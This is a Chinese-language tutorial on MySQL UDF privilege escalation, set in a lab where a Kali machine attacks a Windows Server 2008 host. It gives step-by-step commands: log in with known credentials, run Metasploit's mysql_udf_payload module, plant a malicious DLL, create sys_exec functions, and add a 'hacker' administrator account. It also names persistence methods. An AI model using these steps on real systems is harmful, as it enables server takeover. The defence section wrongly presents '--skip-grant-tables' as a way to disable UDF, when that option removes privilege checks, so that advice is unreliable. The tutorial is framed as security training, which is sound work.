MYSQL UDF提权
字数 1319 2025-09-01 11:26:03
MySQL UDF提权技术详解
一、UDF提权概述
UDF (User Defined Function)即用户自定义函数,是MySQL的一个扩展接口,允许用户通过添加新函数来扩充MySQL的功能。UDF提权是利用MySQL的自定义函数功能,构造特定的DLL文件将MySQL账号权限提升至系统SYSTEM权限。
原理说明
- MySQL提供了添加新函数的机制,用户可自行编写函数
- 这些函数通过动态链接库(DLL)形式实现
- 当MySQL以高权限运行时,通过调用恶意DLL可实现权限提升
二、实验环境准备
所需设备
- 攻击机:Kali Linux 1台
- 目标服务器:Windows Server 2008 1台
- 网络设备:防火墙1台,路由器1台
软件工具
- Metasploit框架(包含udf_payload模块)
- MySQL数据库
前提条件
- 已获取MySQL数据库的有效凭据
- 用户名:mysqluser1
- 密码:user1mysql
- 目标IP:202.1.10.34
三、详细操作步骤
1. 信息收集阶段
(1) 连接MySQL数据库
在Kali Linux终端执行:
mysql -umysqluser1 -puser1mysql -h 202.1.10.34
参数说明:
-u:指定数据库用户名-p:指定数据库密码-h:指定远程数据库主机IP
(2) 切换系统数据库
连接成功后执行:
use mysql;
2. UDF提权实施
(1) 使用Metasploit生成恶意DLL
在Kali中启动msfconsole:
msfconsole
使用udf_payload模块:
use exploit/multi/mysql/mysql_udf_payload
set RHOSTS 202.1.10.34
set USERNAME mysqluser1
set PASSWORD user1mysql
exploit
(2) 手动上传DLL方法(备选)
如果自动上传失败,可手动操作:
- 查找MySQL插件目录:
show variables like '%plugin%';
- 将编译好的恶意DLL上传至插件目录
(3) 创建UDF函数
create function sys_exec returns string soname '恶意DLL文件名';
常用函数:
sys_exec:执行系统命令sys_eval:执行系统命令并返回输出
(4) 执行系统命令
select sys_exec('whoami');
3. 权限提升验证
执行高权限命令验证提权是否成功:
select sys_exec('net user hacker P@ssw0rd /add');
select sys_exec('net localgroup administrators hacker /add');
四、关键技术点
-
MySQL权限要求:
- 需要具备MySQL的INSERT和DELETE权限
- MySQL服务需以高权限账户运行(通常为SYSTEM)
-
DLL存放位置:
- Windows:MySQL插件目录(通过
show variables like '%plugin%';查询) - Linux:/usr/lib/mysql/plugin/
- Windows:MySQL插件目录(通过
-
函数类型:
- 执行型:直接执行系统命令
- 回显型:执行命令并返回结果
-
防御措施:
- 限制MySQL运行账户权限
- 禁用UDF功能(添加
--skip-grant-tables参数) - 设置
secure_file_priv限制文件导入导出
五、注意事项
- 不同MySQL版本对UDF的支持可能有差异
- 现代安全设备可能检测异常DLL加载行为
- 操作前建议先备份数据库
- 实验环境需与生产环境隔离
六、扩展知识
-
自定义DLL开发:
- 可使用C/C++开发特定功能的UDF
- 需遵循MySQL UDF接口规范
-
跨平台利用:
- Windows使用.dll文件
- Linux使用.so文件
-
持久化技术:
- 通过UDF创建启动项
- 建立数据库触发器维持访问
通过掌握MySQL UDF提权技术,安全人员可以更好地理解数据库安全风险,并采取有效措施进行防御。